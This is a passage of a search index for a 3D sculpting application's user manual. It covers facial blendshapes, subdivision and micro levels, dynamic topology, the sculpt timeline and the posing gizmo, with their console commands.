eyeLookUpLeft). Neither creates undo steps. The weights are saved with the project and written to exports (as the default pose)."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"all-52-shapes","h":"All 52 shapes","t":"Each shape at weight 1 on the template head (new_head) and on a real sculpture, \"Marble Bust 01\" by Rico Cilliers (Poly Haven, CC0), straight out of Generate Facial Shapes, without any fixes: Every ARKit shape on the template head Every ARKit shape on the marble bust"},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"live-face","h":"Live face","t":"face_weights sets shape weights from a JSON object, fast enough for a live feed (30 or more calls a second): face_weights json={\"jawOpen\":0.4,\"eyeBlinkLeft\":1,\"mouthSmileRight\":0.6} It changes only the vertices those shapes move, re-uploads only those to the graphics card, makes no undo step and doesn't mark the project as changed. Names not given keep their weight; unknown names are reported. The whole face message from a phone, {\"type\":\"face\",\"t\":...,\"weights\":{...},\"head\":[...]}, works as the JSON too. On a 700,000 vertex head whose every vertex is face, a frame that changes all 52 weights takes about 9 ms on an M1 Pro (most of it updating normals); heads with a body or shoulders change only the face. The phone link points your phone's camera at your face and sends this feed, so the character makes your expressions (see the phone link's own chapter). Anything else that produces ARKit or MediaPipe blendshape weights can drive it too: a script (Scripting and automation), the MCP server or the Python module."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"takes","h":"Takes","t":"A take is a recorded face feed: the phone link saves one as JSON frames, or write your own. Load Take... plays a take on the shapes, looping (Loop), with Play / Pause. Accepted: a JSON array of face messages, an object with a \"frames\" array, or JSON Lines (one message per line); \"t\" is in milliseconds. MediaPipe's \"blendshapes\": [{\"categoryName\": ..., \"score\": ...}] works too. Bake Take turns the loaded take into keyframes at 30 frames a second, kept in the project. Exports then carry the animation: GLB as a glTF animation of the morph target weights (Blender, three.js, Unity, Godot and Unreal play it), USD as time samples of the blend shape weights (Omniverse, Maya, Houdini, Blender). FBX exports the shapes but not the animation yet. Clear Baked Take removes it. From the console: face_take_play path=take.json, face_take_stop, face_take_bake path=take.json fps=30, face_take_clear."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"export-the-shapes","h":"Export the shapes","t":"The ARKit names are kept exactly in every format: Export The shapes become Animation (baked take) GLB (File > Export) morph targets, named in extras.targetNames glTF animation of the weights USD / USDZ UsdSkel blend shapes time samples on the SkelAnimation FBX (and Send to Unreal) blend shape channels; Unreal: morph targets on a skeletal mesh not yet Blender bridge (File > Blender > Send to Blender) shape keys, at their weights, on every object not yet Each Part exports as its own object with its own shapes (the eyes with their eyeLook shapes, the teeth with the jaw's). Apple's ARKit, Unreal's Live Link Face and most face-capture tools drive meshes by these names directly."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"commands","h":"Commands","t":"Command What it does face_shapes_generate [landmarks=] [symmetry=auto/on/off] [parts=true] [level=N] Generate Facial Shapes on the active Part face_landmarks_detect the automatic landmarks, as the JSON landmarks= takes face_weights json= set shape weights (live) face_preset name=Smile [amount=1] show a preset face_take_play path= / face_take_stop play a take in the viewport (the app only) face_take_bake path= [fps=30] / face_take_clear bake a take for export / remove it new_head a new scene with the template head and its eyes"},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"subdivision-levels","h":"Subdivision levels","t":"On a Part with subdivision levels the shapes are made on the lowest level with at least 20,000 vertices (level= picks another), and the levels carry them up: at the top level the shapes bend your high-level detail along instead of flattening it."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"memory","h":"Memory","t":"Each shape is a full sculpt layer: 52 shapes add about 620 bytes per vertex (on top of what the mesh itself uses), so about 620 MB on a million-vertex head. Generate on a level of a million vertices or less and let the levels carry the shapes up."},{"p":"facial-shapes.html","c":"Facial shapes and live face","a":"limits","h":"Limits","t":"The fit expects a humanoid head with the face pointing at the front view. Animals and creatures (the lion bust) fit poorly or not at all; landmarks help with stylised humans. Hair sculpted as part of the head moves with the brows and forehead; keep hair in its own Part. Landmarks are placed by hand or found by the fit itself; there is no image-based face detector."},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"","h":"Subdivision levels","t":"Subdivision levels let you sculpt one model at several resolutions: block in the big forms on a light version of the mesh, add pores and wrinkles on a dense one, and go back down to change the silhouette without losing the detail. Every Part has its own levels. A cube cage, a middle level and the top level of the same sculpt Everything is in Tool > Geometry: Control Shortcut What it does Divide Ctrl+D Adds a level above the highest one and steps to it Smt Smooths the next Divide (on by default) Lower Res Shift+D Steps one level down Higher Res D Steps one level up SDiv slider Steps to any level (1 is the base cage) Del Lower Deletes the levels below the current one Del Higher Deletes the levels above the current one Reconstruct Subdiv Finds a lower level for a mesh that was subdivided elsewhere Under the buttons the palette says where you are (\"SDiv 3 of 5\") and how many triangles the base and the top have. The Part list shows the level of every Part that has them (\"SDiv 3/5\")."},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"divide","h":"Divide","t":"Divide (Ctrl+D) adds a level with four times the polygons. The lower levels stay, so you can step back down at any time. Quads stay quads. A mesh with quads is divided with Catmull-Clark subdivision: each quad becomes four quads, and a triangle among them becomes three quads. A mesh of triangles only (a sphere from New Sphere, a scan) is divided with Loop subdivision: each triangle becomes four. Smt (next to Divide) smooths the new level, rounding off the shape. Turn it off to divide flat: the new level keeps the hard edges and flat faces of the one below, for hard-surface pieces. Divide always adds the level on top. If you are at a lower level it steps to the highest first. Mask, vertex paint, paint layers and UVs are interpolated onto the new level; face groups and hidden faces carry over; sculpt layers are divided with the shape. How far you can divide depends on your computer's memory: about 160 million triangles with 32 GB (each triangle of a divided model takes about 90 bytes, plus some room while dividing). Divide says so when the next level wouldn't fit. Tip: Start from a light mesh. A cube of 108 triangles divided five times is a smooth 110,000-triangle head-sized blob; a 25,000-triangle base divided four times is already 6.5 million."},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"stepping-between-levels","h":"Stepping between levels","t":"Press Shift+D to step down and D to step up, or drag the SDiv slider. Each step is instant once you have visited a level; the first visit after a big edit lower down takes a moment on millions of triangles. What happens to your sculpting when you change level: Detail survives. Each level stores its detail as a small offset from the smoothed shape of the level below, measured along that surface (its normal and tangents). Stepping up and down without sculpting gives back exactly the same mesh. Big changes low, detail follows. Sculpt, move or inflate at a low level and step up: the higher levels follow the new shape and the wrinkles, pores and scales you sculpted on them ride along on top. Detail edits show up below. Sculpt at a high level and step down: the lower levels take on a softened version of the change, so the silhouette stays honest whichever level you look at. Fine detail is too small for a low level and only shows as a gentle swelling there."},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"what-follows-the-levels","h":"What follows the levels","t":" When you change it at one level Shape Carried up as detail, softened down (see above) Sculpt layers Each layer has its own detail on every level, kept relative to the surface like the shape's: rotate or reshape a low level and a layer's wrinkles turn and bend with it. Weights apply to all levels. See Layers and subdivision levels Mask Copied down to the vertices below, interpolated up where it changed Vertex Paint and paint layers As the mask: paint at a low level for broad colour, at a high level for detail. Painting low only changes the higher levels where you painted Face Groups, hidden faces Copied down to the parent faces, inherited up by the faces they contain UVs Copied down and interpolated up Texture Shared by every level (it lives on the UVs) Clearing the mask, removing a layer or deleting the paint layers does it on every level."},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"del-lower-and-del-higher","h":"Del Lower and Del Higher","t":"Del Lower deletes the levels below the current one: the current level becomes the new base cage (SDiv 1). Del Higher deletes the levels above, and the detail sculpted on them. Both are undoable. Deleting down to a single level leaves an ordinary mesh."},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"reconstruct-subdiv","h":"Reconstruct Subdiv","t":"A model that was subdivided in another application (or exported from SculptForge at its top level) comes in as one dense mesh. Reconstruct Subdiv finds the mesh it was subdivided from and adds it as a new lowest level, keeping the dense mesh exactly as it was. Press it again for more levels. It works at the lowest level (SDiv 1). The mesh must be a regular subdivision: all quads from Catmull-Clark subdivision, or all triangles from Loop subdivision. Otherwise it says so and leaves the mesh alone. The vertices of the new lower level sit on the dense mesh's corner vertices. Tip: The Cube from Tool > Parts > Append is a regular quad grid, so Reconstruct Subdiv takes it down to a 3 x 3 cube in four steps."},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"undo-projects-and-exporting","h":"Undo, projects and exporting","t":"Undo (Ctrl+Z) is one step per stroke at any level, and one step per level change, so undo walks back through your strokes and level changes in the order you made them. Divide, Del Lower, Del Higher and Reconstruct are single undo steps. Steps share the levels they didn't change, so they cost little memory. Projects (.sfproj) save every level of every Part and open at the level you saved at. They use project format 5 (sculpt-layer detail relative to the surface), so older SculptForge versions ask you to update before opening them. Projects saved with format 4 open as before and are converted as they load. Exports and Bridge write the current level. To write another one, step to it first, or use the subdiv_export command (subdiv_export path=base.obj level=1 writes the base cage of every visible Part, in any export format). LODs and Send to Unreal start from the current level too. Tools that rebuild the mesh (Voxel Remesh, Decimate, Quad Remesh, Subdivide, Delete hidden, merging and splitting Parts) work on the level you are on, including what you just sculpted there, and make a new mesh without levels: that level becomes the new base. The status line says so, e.g. Subdivision levels removed: SDiv 3 of 5 kept as the new base (undo restores them). Ctrl+Z brings every level back, at the level you were on. Merging and splitting Parts can't be undone, so step to the level you want to keep first, or save before. Note: Subdivide (in Tool > Geometry, below Divide) is still there: it replaces the mesh with a denser one and keeps no levels. Use Divide unless you want exactly that."},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"commands","h":"Commands","t":"Every control is a command you can run in the console, from a script or over MCP (see Scripting): Command What it does subdiv_divide smooth=true Divide; smooth=false divides flat (Smt off) subdiv_level level=2 Step to a level (1 = base) subdiv_lower, subdiv_higher Lower Res, Higher Res subdiv_delete_lower, subdiv_delete_higher Del Lower, Del Higher subdiv_reconstruct Reconstruct Subdiv subdiv_info List the levels and their triangle counts subdiv_export path=base.obj level=1 Export the visible Parts at a level"},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"speed-and-memory","h":"Speed and memory","t":"Measured on an Apple M1 Pro (Asahi Linux), a cube divided four times to 6.5 million triangles: 1.6M triangles at the top 6.5M triangles at the top Divide to the top level 0.4 s 4.3 s Step down / up between visited levels 1-4 ms 0.1-45 ms Step down right after sculpting the top 0.05-0.13 s 0.2-0.6 s Step up after reshaping the base 0.05-0.15 s 0.6 s Memory for all levels 120 MB 480 MB SculptForge keeps the two levels you visited last ready to show, so going back and forth between a low and a high level (the usual rhythm) is instant. Only the active Part keeps them: selecting another Part frees that memory (50-170 MB for a Part with 1.8 million triangles at the top), and the first level change after you come back takes a moment longer (about 0.1 s at that size) while the level is prepared again."},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"past-the-highest-level","h":"Past the highest level","t":"For more detail than the computer can hold as a mesh (hundreds of millions of polygons), add a micro level on top of the highest level: see Micro levels."},{"p":"micro-levels.html","c":"Micro levels: hundreds of millions of polygons","a":"","h":"Micro levels: hundreds of millions of polygons","t":"Subdivision levels store every vertex of every level. That is what lets you step down and reshape, but it costs about 90 bytes per triangle: a 300 million triangle model would need 27 GB. Micro levels go past the highest subdivision level without a mesh: each triangle of that level carries a regular grid of heights, one 16-bit number per point, and the micro triangles are worked out on the fly by the brushes and by the graphics card. 300 million micro triangles take about 0.4 GB, sculpt in real time and draw at 60+ frames per second. A sphere with 335 million micro triangles: surface noise, a Clay Block band, Crease and Sharp Crease lines (Micro 4, 420 MB)"},{"p":"micro-levels.html","c":"Micro levels: hundreds of millions of polygons","a":"making-a-micro-level","h":"Making a micro level","t":"Divide the Part to a comfortable highest level (0.3 to 2 million triangles is the sweet spot). In Tool > Geometry, set the Micro slider. Each step is four times the triangles: the label shows the total (Micro 4 on a 1.2 million triangle level is 300 million micro triangles). Click Divide to Micro. The surface stays exactly as smooth as before; the micro level starts flat on it. The micro level sits on the highest subdivision level, so step up to it first. While a micro level exists you can't change subdivision levels (Bake it or delete it first). Micro level Micro triangles per triangle Memory per micro triangle 3 64 1.4 bytes 4 256 1.2 bytes 5 1,024 1.1 bytes 6, 7 4,096, 16,384 1.05 bytes For the smoothest view, prefer a higher micro level on fewer base triangles: 300 million as Micro 5 on 300,000 triangles draws faster than Micro 4 on 1.2 million."},{"p":"micro-levels.html","c":"Micro levels: hundreds of millions of polygons","a":"sculpting","h":"Sculpting","t":"These brushes work on micro levels: Standard, Clay, Clay Block, Smooth, Inflate, Flatten, Trim, Layer, Pinch, Crease, Sharp Crease and Mask (with Ctrl). Symmetry, Falloff, pressure, alphas (Drag Stamp included) and the mask work as usual, and every stroke is one undo step. A micro level stores one height per point, so it moves the surface in and out, never sideways. Pinch, Crease and Sharp Crease sharpen the height profile instead of pulling points together (the result looks the same for creases and folds). Move reshapes the level below the micro level (the base) and the micro detail rides along on it, in its own frame: drag an ear back without smearing the pores. To move the micro surface itself along its normals, tick Move along normals. Big brushes are evaluated on a coarser grid (about 50 points across the brush) and the change is spread smoothly over the points in between, so a brush that covers half the model costs about as much as a small one. The detail under it is kept. Brushes that slide the surface (Tendril, Nudge, VDM stamps) and custom recipe brushes don't apply to micro levels; recipe brushes act as Standard. Vertex Paint, sculpt layers, face group colours and the wireframe aren't shown on micro levels yet."},{"p":"micro-levels.html","c":"Micro levels: hundreds of millions of polygons","a":"baking-down-and-exporting","h":"Baking down and exporting","t":"Bake Micro makes a regular mesh of the micro level in a new Part (the micro level stays). micro_bake level=3 bakes a coarser micro level; replace=true replaces this Part instead. UVs, face groups, hidden faces and the micro mask carry over. Export Displacement writes a 32-bit EXR displacement map over the base UVs (needs UVs) next to the project: the height of the micro surface above the flat base triangles, along the interpolated normal. micro_export_displacement path=detail.png type=vector writes a vector map (object space) or a 16-bit PNG (mid-grey = 0; the message says the scale). Projects keep micro levels (project format 7; projects without one are still written as format 6, so older versions open them). Untouched areas take almost no room in the file."},{"p":"micro-levels.html","c":"Micro levels: hundreds of millions of polygons","a":"very-large-levels-and-laptops","h":"Very large levels and laptops","t":"A micro level larger than the resident cache your hardware profile allows (a quarter of the memory when there is no profile yet) is kept out of core: in a file in the cache folder (~/.cache/sculptforge), of which only the parts you sculpt or look at stay in memory. A billion micro triangles then fit on a 16 GB machine. The status line under the slider says when a level is out of core. SF_MICRO_OUT_OF_CORE=1 forces it (for testing); SF_MICRO_SWAP_DIR picks the folder. How many triangles a frame draws for micro levels follows the machine: the view lowers the detail of far and small areas until a frame fits the budget (2 million on a laptop profile, 8 million on a workstation)."},{"p":"micro-levels.html","c":"Micro levels: hundreds of millions of polygons","a":"scripting","h":"Scripting","t":"Command What it does micro_divide level=4 or micro_divide triangles=300 Add a micro level (by level, or about this many million micro triangles) micro_delete Remove it (undoable) micro_info Level, micro triangles, memory, displacement range micro_bake level=4 replace=false Bake down to a mesh micro_export_displacement path=disp.exr size=4096 type=scalar Displacement map over the base UVs micro_noise amplitude=0.0015 scale=120 Procedural surface noise over the whole micro level sculptforge --bench-micro --bench-sizes 33,100,300 measures memory, brush and frame times on your computer."},{"p":"micro-levels.html","c":"Micro levels: hundreds of millions of polygons","a":"see-also","h":"See also","t":"Subdivision levels Performance Baking normal and displacement maps"},{"p":"dynamic-topology.html","c":"Dynamic topology","a":"","h":"Dynamic topology","t":"With Dynamic on, the brush adds triangles where it needs detail and removes them where it doesn't, as dynamic topology and Blender's Dyntopo do. Pull a sphere out into horns, ears or fingers and the new shapes get triangles of their own instead of stretched ones; block in a creature from a ball without remeshing first. A sphere with horns pulled out by Tendril with Dynamic on, as wireframe and shaded"},{"p":"dynamic-topology.html","c":"Dynamic topology","a":"turn-it-on","h":"Turn it on","t":"Control Where What it does Dynamic Top shelf, Sculpt > Draw & Tablet Turns dynamic topology on or off Detail Top shelf (while Dynamic is on), Sculpt > Draw & Tablet How small the triangles get: 0 coarse, 100 fine (default 50) Constant detail Sculpt > Draw & Tablet Off: the size follows the brush. On: one size for the whole mesh Then sculpt as usual. Every brush works with it except Move (it drags the surface without remeshing), the mask and paint brushes, and the stamping strokes Drag Stamp and Slide Stamp (so VDM stamps don't remesh either). Smooth remeshes towards larger triangles, so smoothing also simplifies. Tip: Turn on Wire (Shift+F) to see the triangles appear under the brush."},{"p":"dynamic-topology.html","c":"Dynamic topology","a":"how-big-the-triangles-get","h":"How big the triangles get","t":"By default the triangle size follows the brush size on screen, as in dynamic topology: zoom in or make the brush smaller for finer triangles, zoom out or make it bigger for coarser ones. At Detail 50 an edge is about an eighth of the brush radius; Detail 100 makes them about three times smaller, Detail 0 three times bigger. With Constant detail on, every stroke aims for the same size whatever the zoom and brush, set by Detail relative to the size of the mesh (at 50, about a hundredth of its bounding box diagonal). Use it to bring a whole model to an even density, or to keep the density while you change brush sizes. It is a preference: Store Config (Ctrl+Shift+I) keeps it. Under the brush, edges longer than the target are split, edges much shorter are merged away, and the new triangles are evened out. Outside the brush nothing changes, so you can have big triangles on the back of a head and fine ones around the eyes."},{"p":"dynamic-topology.html","c":"Dynamic topology","a":"smooth-remesh","h":"Smooth remesh","t":"Smoothing (Shift) with Dynamic on also simplifies by default: it remeshes toward triangles twice the size, so the smoothed area gets coarser, as in dynamic topology. Smooth remesh under Sculpt > Draw & Tablet > Dynamic topology sets how much (from the discussions): Smooth only (0): Shift only smooths; the triangles stay as they are. Light (50): it remeshes toward triangles one and a half times the size. Simplify (100, the default): as before. It is a preference (Store Config keeps it) and is saved with the project; from a script, dyntopo smooth_remesh=0."},{"p":"dynamic-topology.html","c":"Dynamic topology","a":"what-it-keeps-and-what-it-doesnt","h":"What it keeps and what it doesn't","t":"Symmetry. With X (or Y, Z) symmetry on, both sides are remeshed together and get mirrored triangles, not just mirrored shapes. A model whose sides aren't made of mirrored polygons (after Quad Remesh, or sculpted without symmetry) has no mirrored triangles to keep: each side then gets its own new triangles, as fine as the brush's side. Mask and visibility. Fully masked and hidden parts are left alone. Partly masked areas are remeshed but move less, as usual. Borders. Open edges and the borders between face groups stay where they are; their vertices only slide along them. New triangles take the face group of the triangle they came from. Vertex Paint, mask values and sculpt layers are carried onto new vertices (blended between their neighbours). Quads under the brush become triangles. The rest of the mesh keeps its quads. UVs are dropped the first time a stroke remeshes a Part (the status bar says so), since the new triangles have none. Undo brings them back. Unwrap again with Auto UV when you are done."},{"p":"dynamic-topology.html","c":"Dynamic topology","a":"subdivision-levels","h":"Subdivision levels","t":"Dynamic topology works on meshes without subdivision levels. On a Part with levels, Dynamic stays off and the status bar says why: go to the level you want to keep and use Del Lower and Del Higher in Tool > Geometry first. If you turn it on and then pick a Part that has levels, strokes sculpt it without remeshing. A good workflow: block in with Dynamic, then Quad Remesh or Voxel Remesh for an even base, Divide for levels, and sculpt the fine detail on them."},{"p":"dynamic-topology.html","c":"Dynamic topology","a":"undo-and-speed","h":"Undo and speed","t":"Each stroke is one undo step. Undo puts every triangle back exactly, and it only keeps the part of the mesh the stroke changed, so it costs little memory even on millions of triangles (a few megabytes per stroke). Dynamic topology is fastest on meshes of up to a few million triangles. On the benchmark computer (an M1 Pro), a dab with a medium brush on a one-million-triangle sphere takes 9 to 13 milliseconds including the screen update; undoing a stroke on such a mesh takes about a tenth of a second. A very big brush over very small triangles merges them over several dabs rather than all at once, to keep the brush responsive. See Performance and big meshes."},{"p":"dynamic-topology.html","c":"Dynamic topology","a":"from-a-script","h":"From a script","t":"dyntopo enabled=true detail=60 stroke points=\"0.3,0.6,1 0.5,0.4,1\" brush=Tendril radius=0.2 symmetry=x dyntopo enabled=false dyntopo without arguments reports the settings; constant=true switches to a constant detail size. It works the same from the console, sculptforge-cli, MCP and Python. See Scripting and automation."},{"p":"dynamic-topology.html","c":"Dynamic topology","a":"see-also","h":"See also","t":"Sculpting and brushes Subdivision levels Subdivide, remesh, decimate and LODs Quick tour for experienced sculptors"},{"p":"timeline.html","c":"Sculpt Timeline and timelapse","a":"","h":"Sculpt Timeline and timelapse","t":"Every stroke and operation you make is a step on the Sculpt Timeline, the strip along the top of the canvas (or its bottom: Edit > Preferences > Interface > Timeline position). Drag its scrubber to see the model at any point of the session, click a step to go back there, and keep sculpting from it: the steps you had made after it are not thrown away as with a plain undo, they stay as a branch you can switch back to. You can change how strongly a past stroke shows without redoing the strokes after it, and render the whole history as a turntable timelapse video. The Sculpt Timeline strip (here at the bottom of the canvas): three strokes on the active branch, the scrubber at the last one, and the lane of an earlier continuation above the track"},{"p":"timeline.html","c":"Sculpt Timeline and timelapse","a":"the-strip","h":"The strip","t":"Each step is a tick on the track: sculpt strokes in light grey, masks in blue, vertex paint in pink, visibility and face groups in green, and topology changes (dynamic topology, remeshing, Divide, Part changes) as tall teal ticks. The orange scrubber marks the state the canvas shows; the steps after it are dimmed. A dot above a tick marks a re-tuned stroke. Drag along the track to scrub through the history: the model follows as you drag. Click a tick to go to the state after that step. Point at a tick for what the step was, how many vertices it changed and when. Right-click a stroke to re-tune it (see below). The header shows the step you are at, the number of branches and the step's name. Save with project keeps the history with the project, the film icon exports a timelapse, and the arrow folds the strip into a small Timeline tab (click the tab to open it again; Sculpt Timeline in the command palette, F3, does the same). Undo and Redo (Ctrl+Z, Ctrl+Shift+Z) move the scrubber one step, as before. Each Part keeps its own timeline, like its own undo history."},{"p":"timeline.html","c":"Sculpt Timeline and timelapse","a":"branches-undo-without-losing-anything","h":"Branches: undo without losing anything","t":"Go back to an earlier step and sculpt: a new branch starts there. The steps you had made after that point stay in the history as a thin lane above the track, starting where the branch splits off. Click the lane to make that branch the active one again; the branch you leave becomes the lane. Nothing is lost by trying an idea and going back."},{"p":"timeline.html","c":"Sculpt Timeline and timelapse","a":"re-tuning-a-past-stroke","h":"Re-tuning a past stroke","t":"Right-click a stroke on the track and drag Strength: 1 is the stroke as you made it, 0 removes it, 2 makes it twice as strong. The model updates at once and the strokes you made after it are kept. How it works: the change to that one stroke's displacement is added to the model as it is now. Where later strokes don't touch the area, the result is exactly what you would have had with the new strength. Where later strokes overlap it, they keep the displacement they made at the time, on top of the re-tuned stroke: they are not sculpted again. So a Smooth you did afterwards over the same spot won't smooth the stronger version, and a later Inflate keeps the direction it pushed in then. For most detail passes that is what you want; for a big change under a lot of later work, check the area afterwards. A stroke can't be re-tuned when a step after it replaced the mesh as a whole (dynamic topology, a remesh, Divide, a sculpt layer change): the menu says which step is in the way. Strokes made on a sculpt layer can't be re-tuned either."},{"p":"timeline.html","c":"Sculpt Timeline and timelapse","a":"big-meshes","h":"Big meshes","t":"Scrubbing reuses what undo already keeps for each stroke, only the vertices it moved. A run of strokes is swapped in one go, with normals and the view updated once for the whole run, and every few steps the timeline keeps a full copy of the shape (a checkpoint) so a jump across the whole history replays only a few strokes from the nearest one. Measured on an Apple M1 Pro after 220 strokes (a third of them big, up to 4.4 million vertices each), while other heavy programs were running: Mesh One step of the scrubber A jump across the history 21 million triangles 5 ms typical, 50 ms for the biggest strokes about 0.4 to 0.5 s 33 million triangles 5 to 14 ms typical, up to 170 ms for the biggest strokes about 0.6 to 1 s See also Performance and big meshes. The history uses memory: undo keeps up to 1 GB (the oldest steps go first, as before), the timeline up to 1.5 GB more for inactive branches and the extra copy of each stroke that makes fast seeking possible, and up to 1 GB of checkpoints (fewer, further apart, on very big models). With those limits a 21 million triangle model keeps about the last 100 strokes of the size above, a 33 million one about 70; small detail strokes cost far less."},{"p":"timeline.html","c":"Sculpt Timeline and timelapse","a":"saving-the-history","h":"Saving the history","t":"Tick Save with project in the strip's header and saving a project also writes its history beside it, as name.sfhist next to name.sfproj. Opening the project brings the timeline back, branches and re-tuned strengths included, as long as the project hasn't been changed elsewhere since. Sculpt strokes, masks, vertex paint, visibility and face groups are saved; a topology change (dynamic topology, remesh, Divide, sculpt layers) cuts the saved history there, keeping what came after it."},{"p":"timeline.html","c":"Sculpt Timeline and timelapse","a":"timelapse-video","h":"Timelapse video","t":"Export timelapse (the film icon in the strip, or Export timelapse... in the command palette) renders the history of the active Part, from the start to the step you are at, as a turntable video: the model builds up stroke by stroke while the camera goes once around it, with a short pause at the start and the end. Pick 1080p or 4K, the length, and where to save the MP4. There are no captions or interface in the video. It needs ffmpeg installed. From the command line, for a project saved with its history: sculptforge creature.sfproj --timelapse creature.mp4 --size 3840x2160 --timelapse-seconds 20"},{"p":"timeline.html","c":"Sculpt Timeline and timelapse","a":"scripting","h":"Scripting","t":"The timeline is scriptable: timeline_info list=true lists the steps (with their ids), timeline_seek index=N shows step N of the active branch, timeline_select node=ID switches to the branch through a step, timeline_retune node=ID strength=0.5 re-tunes a stroke, and timeline_save / timeline_load write and read the .sfhist file."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"","h":"Moving, rotating and posing (Gizmo)","t":"The Gizmo moves, rotates and scales a whole Part, or only the part of it you haven't masked. Use it to place parts (an eye in its socket, a sword in a hand), to fix proportions, and to pose: mask the body, put the pivot at the shoulder and swing the arm. It works, with the same keys. The Gizmo's Move, Scale and Rotate modes; the handle under the cursor turns yellow"},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"the-three-modes","h":"The three modes","t":"Press a key, or click the button on the top shelf (they're also in Sculpt > Symmetry & Gizmo): Key Mode What you drag W Move An arrow moves along that axis. A square moves in its plane. The ring in the centre moves freely in the view plane E Scale A box stretches along that axis. The disc in the centre scales evenly: drag right or up to grow, left or down to shrink R Rotate A ring turns about that axis. The outer white ring turns about the view direction Q Draw Back to sculpting: brushes work again and the gizmo goes away Pressing the same key again also goes back to Draw. X is red, Y green and Z blue; the handle under the cursor turns yellow. While the gizmo is on, dragging anywhere off its handles still turns, pans and zooms the view, and Ctrl still paints the mask, so you can mask and move without leaving the gizmo. While you drag, the amount shows beside the gizmo (the distance, the angle or the percentage), and a rotation draws the swept angle as a slice. Each drag is one undo step (Ctrl+Z), and the gizmo goes back with it."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"snapping","h":"Snapping","t":"Hold Shift while dragging to snap: Rotate: 15 degree steps. Move: whole steps of the grid, a round number about a twentieth of the model's size (0.1, 0.2, 0.5, 1...). Scale: 10% steps. You can press and release Shift during the drag."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"moving-only-part-of-a-part","h":"Moving only part of a Part","t":"The gizmo respects the mask: masked parts stay where they are, partly masked parts move partly, and hidden parts never move. To move only the head of a figure, mask everything else (or paint the mask on the head and invert it with Ctrl+click on the background), then drag. Turn Mask off in the Gizmo panel to move the whole Part whatever the mask."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"posing-a-limb","h":"Posing a limb","t":"Mask what should stay: for an arm, everything but the arm (Ctrl+paint, or Mask Lasso). Press R. The gizmo jumps to the centre of the unmasked arm. Put the pivot at the joint: hold Alt and click the model at the shoulder or elbow. (Or click To Surface, then click the model.) Raise Falloff in the Gizmo panel, for example to 15%. The turn then eases in over that distance from the mask's edge, so the joint bends smoothly instead of creasing along the mask line. Drag a ring. Release, then drag again to refine; each drag is its own undo step. Posing: upper arm masked, pivot at the elbow (left); the forearm turning with a 29% falloff (right) Falloff only ever eases in on the unmasked side: the masked part stays exactly where it was. It is measured along the surface, as a share of the Part's size, so it bends the same way on a rough model and on one with millions of polygons."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"symmetry","h":"Symmetry","t":"With X, Y or Z symmetry on (top shelf), a masked transform is mirrored: the unmasked part on the other side of the symmetry plane takes the mirror image of the move, so both arms rise together. This needs a mask and a pivot off the plane; a Part moved as a whole just moves."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"the-pivot","h":"The pivot","t":"The pivot is the point rotation and scaling turn about, and where the gizmo sits. It starts at the centre of what will move (the Part, or its unmasked part) and follows it when you change the mask or pick another Part. To Do this Move the gizmo without moving the model Alt+drag any Move handle Turn the gizmo's axes without turning the model Alt+drag a Rotate ring (the axes switch to Surface) Put the pivot on the surface Alt+click the model, or To Surface then click the model Type the pivot The three numbers under the mode buttons in the Gizmo panel Go back to the centre, with world axes Reset After a drag the gizmo moves (and with Surface axes, turns) with what it moved."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"world-or-surface-axes","h":"World or Surface axes","t":"World keeps the gizmo's arrows and rings on the world's X, Y and Z. Surface lines them up with the surface where you put the pivot (Y along the surface normal) and turns them with your rotations, which is handy for sliding a part along itself, or for twisting a forearm about its own length."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"typing-exact-values","h":"Typing exact values","t":"The Gizmo panel opens in the corner of the canvas while the gizmo is on. Under the options it has Move (X, Y, Z), Rotate (degrees about X, then Y, then Z) and Scale (percent). Type the amounts and click Apply: the model moves, turns and scales by them about the pivot, along the gizmo's axes, in one undo step. Clear sets them back to 0 and 100%. The values stay after Apply, so clicking Apply again repeats the step (rotate by 15 degrees, again, again)."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"all-parts","h":"All Parts","t":"Turn on All Parts in the panel to move every visible Part together, for example to turn a whole character with its eyes, teeth and clothes. The pivot is the centre of all of them. Each Part gets its own undo step: undo goes back in the active Part, and selecting another Part undoes its part."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"what-a-transform-keeps","h":"What a transform keeps","t":"A transform only changes where the vertices are. Face Groups, quads, UVs, vertex paint, textures, the mask and the topology stay as they are. Sculpt layers move with the surface: the base and every layer's offsets are transformed together, so a layer you sculpted on a forearm stays on it after posing, and layer sliders keep working. With subdivision levels you can pose at a low level: the detail of the higher levels, sculpt layers included, turns with it when you step back up. Projects save the result, and the gizmo's pivot and options too."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"scripting","h":"Scripting","t":"Every gizmo drag appears in the console as the transform command that repeats it, so Copy session as script replays your posing. You can also type it, or use it in scripts and sculptforge-cli: transform translate=0,0.5,0 transform rotate=0,0,45 pivot=1.2,0.4,0 falloff=0.15 transform scale=2 all=true Parameter Meaning translate Movement x,y,z in world units rotate Degrees about X, then Y, then Z (of orient) scale One number, or x,y,z along the axes of orient (above 0) pivot center (default: the centre of what moves), origin, or x,y,z orient world (default), or the axes 